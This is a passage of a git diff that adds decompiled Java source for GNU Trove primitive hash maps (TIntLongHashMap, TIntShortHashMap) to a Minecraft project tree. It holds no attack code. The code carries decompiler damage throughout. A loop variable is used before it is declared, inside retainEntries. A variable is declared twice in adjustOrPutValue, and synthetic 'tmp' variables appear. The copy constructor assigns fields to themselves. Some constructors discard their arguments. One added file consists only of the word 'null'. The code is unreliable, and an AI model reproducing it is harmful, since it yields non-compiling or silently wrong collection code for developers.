+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(int[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      int[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int c = ((Integer)element).intValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        int element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(int[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TIntLongHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TIntProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TIntSet)) {
+        return false;
+      }
+      TIntSet that = (TIntSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TIntProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(int key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TLongCollection
+  {
+    protected TValueView() {}
+    
+    public TLongIterator iterator()
+    {
+      return new TIntLongHashMap.TIntLongValueHashIterator(TIntLongHashMap.this, TIntLongHashMap.this);
+    }
+    
+
+    public long getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(long entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public long[] toArray()
+    {
+      return values();
+    }
+    
+
+    public long[] toArray(long[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(long entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(long entry)
+    {
+      long[] values = _values;
+      int[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != 2) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long ele = ((Long)element).longValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TLongCollection collection)
+    {
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(long[] array)
+    {
+      for (long element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Long> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TLongCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(long[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Long.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(long[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      long[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long c = ((Long)element).longValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        long element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(long[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TIntLongHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TLongProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TLongProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(long value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TIntLongKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TIntIterator
+  {
+    TIntLongKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public int next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TIntLongValueHashIterator
+    extends THashPrimitiveIterator
+    implements TLongIterator
+  {
+    TIntLongValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public long next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TIntLongHashIterator
+    extends THashPrimitiveIterator
+    implements TIntLongIterator
+  {
+    TIntLongHashIterator(TIntLongHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public int key()
+    {
+      return _set[_index];
+    }
+    
+    public long value()
+    {
+      return _values[_index];
+    }
+    
+    public long setValue(long val)
+    {
+      long old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TIntLongMap)) {
+      return false;
+    }
+    TIntLongMap that = (TIntLongMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    long[] values = _values;
+    byte[] states = _states;
+    long this_no_entry_value = getNoEntryValue();
+    long that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        int key = _set[i];
+        long that_value = that.get(key);
+        long this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TIntLongProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(int key, long value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeInt(_set[i]);
+        out.writeLong(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      int key = in.readInt();
+      long val = in.readLong();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TIntObjectHashMap.java b/src/minecraft/gnu/trove/map/hash/TIntObjectHashMap.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TIntObjectHashMap.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/gnu/trove/map/hash/TIntShortHashMap.java b/src/minecraft/gnu/trove/map/hash/TIntShortHashMap.java
new file mode 100644
index 0000000..b5583f2
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TIntShortHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TIntCollection;
+import gnu.trove.TShortCollection;
+import gnu.trove.function.TShortFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TIntShortHash;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TIntIterator;
+import gnu.trove.iterator.TIntShortIterator;
+import gnu.trove.iterator.TShortIterator;
+import gnu.trove.map.TIntShortMap;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.procedure.TIntShortProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TIntSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TIntShortHashMap
+  extends TIntShortHash
+  implements TIntShortMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient short[] _values;
+  
+  public TIntShortHashMap() {}
+  
+  public TIntShortHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TIntShortHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TIntShortHashMap(int initialCapacity, float loadFactor, int noEntryKey, short noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TIntShortHashMap(int[] keys, short[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TIntShortHashMap(TIntShortMap map)
+  {
+    super(map.size());
+    if ((map instanceof TIntShortHashMap)) {
+      TIntShortHashMap hashmap = (TIntShortHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new short[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    int[] oldKeys = _set;
+    short[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new int[newCapacity];
+    _values = new short[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        int o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public short put(int key, short value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public short putIfAbsent(int key, short value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private short doPut(int key, short value, int index)
+  {
+    short previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Integer, ? extends Short> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Integer, ? extends Short> entry : map.entrySet()) {
+      put(((Integer)entry.getKey()).intValue(), ((Short)entry.getValue()).shortValue());
+    }
+  }
+  
+
+  public void putAll(TIntShortMap map)
+  {
+    ensureCapacity(map.size());
+    TIntShortIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public short get(int key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public short remove(int key)
+  {
+    short prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TIntSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public int[] keys()
+  {
+    int[] keys = new int[size()];
+    int[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public int[] keys(int[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new int[size];
+    }
+    
+    int[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TShortCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public short[] values()
+  {
+    short[] vals = new short[size()];
+    short[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public short[] values(short[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new short[size];
+    }
+    
+    short[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(short val)
+  {
+    byte[] states = _states;
+    short[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(int key)
+  {
+    return contains(key);
+  }
+  
+
+  public TIntShortIterator iterator()
+  {
+    return new TIntShortHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TIntProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TShortProcedure procedure)
+  {
+    byte[] states = _states;
+    short[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TIntShortProcedure procedure)
+  {
+    byte[] states = _states;
+    int[] keys = _set;
+    short[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TShortFunction function)
+  {
+    byte[] states = _states;
+    short[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TIntShortProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    int[] keys = _set;
+    short[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(int key)
+  {
+    return adjustValue(key, (short)1);
+  }
+  
+
+  public boolean adjustValue(int key, short amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    int tmp17_16 = index; short[] tmp17_13 = _values;tmp17_13[tmp17_16] = ((short)(tmp17_13[tmp17_16] + amount));
+    return true;
+  }
+  
+
+
+  public short adjustOrPutValue(int key, short adjust_amount, short put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    short newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1; int 
+        tmp25_23 = index; short[] tmp25_20 = _values;short newValue = tmp25_20[tmp25_23] = (short)(tmp25_20[tmp25_23] + adjust_amount);
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TIntSet
+  {
+    protected TKeyView() {}
+    
+    public TIntIterator iterator()
+    {
+      return new TIntShortHashMap.TIntShortKeyHashIterator(TIntShortHashMap.this, TIntShortHashMap.this);
+    }
+    
+
+    public int getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(int entry)
+    {
+      return TIntShortHashMap.this.contains(entry);
+    }
+    
+
+    public int[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public int[] toArray(int[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(int entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(int entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int ele = ((Integer)element).intValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TIntCollection collection)
+    {
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(int[] array)
+    {
+      for (int element : array) {
+        if (!TIntShortHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Integer> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TIntCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(int[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Integer.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(int[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      int[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int c = ((Integer)element).intValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        int element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(int[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TIntShortHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TIntProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TIntSet)) {
+        return false;
+      }
+      TIntSet that = (TIntSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TIntProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(int key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TShortCollection
+  {
+    protected TValueView() {}
+    
+    public TShortIterator iterator()
+    {
+      return new TIntShortHashMap.TIntShortValueHashIterator(TIntShortHashMap.this, TIntShortHashMap.this);
+    }
+    
+
+    public short getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(short entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public short[] toArray()
+    {
+      return values();
+    }
+    
+
+    public short[] toArray(short[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(short entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(short entry)
+    {
+      short[] values = _values;
+      int[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != 2) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short ele = ((Short)element).shortValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TShortCollection collection)
+    {
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(short[] array)
+    {
+      for (short element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Short> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TShortCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(short[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Short.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(short[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      short[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short c = ((Short)element).shortValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        short element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(short[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TIntShortHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TShortProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TShortProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(short value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TIntShortKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TIntIterator
+  {
+    TIntShortKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public int next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TIntShortValueHashIterator
+    extends THashPrimitiveIterator
+    implements TShortIterator
+  {
+    TIntShortValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public short next()
+    {
